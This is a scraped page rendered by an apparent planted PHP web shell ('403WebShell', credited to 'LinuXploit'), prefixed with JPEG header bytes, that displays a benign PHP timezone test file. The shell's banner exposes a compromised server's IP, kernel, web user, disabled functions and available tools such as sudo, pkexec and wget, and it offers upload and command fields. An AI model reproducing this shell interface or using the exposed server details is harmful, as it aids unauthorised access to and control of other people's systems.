????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.23.94.64
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/date/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/date/tests/bug66985.phpt
--TEST--
Bug #66985 (Some timezones are no longer valid in PHP 5.5.10)
--FILE--
<?php
$zones = array(
	"CST6CDT", "Cuba", "Egypt", "Eire", "EST5EDT", "Factory", "GB-Eire",
	"GMT0", "Greenwich", "Hongkong", "Iceland", "Iran", "Israel", "Jamaica",
	"Japan", "Kwajalein", "Libya", "MST7MDT", "Navajo", "NZ-CHAT", "Poland",
	"Portugal", "PST8PDT", "Singapore", "Turkey", "Universal", "W-SU",

	"UTC", "GMT", "GMT+0100", "-0230",
);

foreach ( $zones as $zone )
{
	$d = new DateTimeZone( $zone );
	print_r($d);
}
?>
--EXPECT--
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => CST6CDT
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Cuba
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Egypt
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Eire
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => EST5EDT
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Factory
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => GB-Eire
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => GMT0
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Greenwich
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Hongkong
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Iceland
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Iran
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Israel
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Jamaica
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Japan
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Kwajalein
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Libya
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => MST7MDT
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Navajo
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => NZ-CHAT
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Poland
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Portugal
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => PST8PDT
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Singapore
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Turkey
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => Universal
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => W-SU
)
DateTimeZone Object
(
    [timezone_type] => 3
    [timezone] => UTC
)
DateTimeZone Object
(
    [timezone_type] => 2
    [timezone] => GMT
)
DateTimeZone Object
(
    [timezone_type] => 1
    [timezone] => +01:00
)
DateTimeZone Object
(
    [timezone_type] => 1
    [timezone] => -02:30
)

Youez - 2016 - github.com/yon3zu
LinuXploit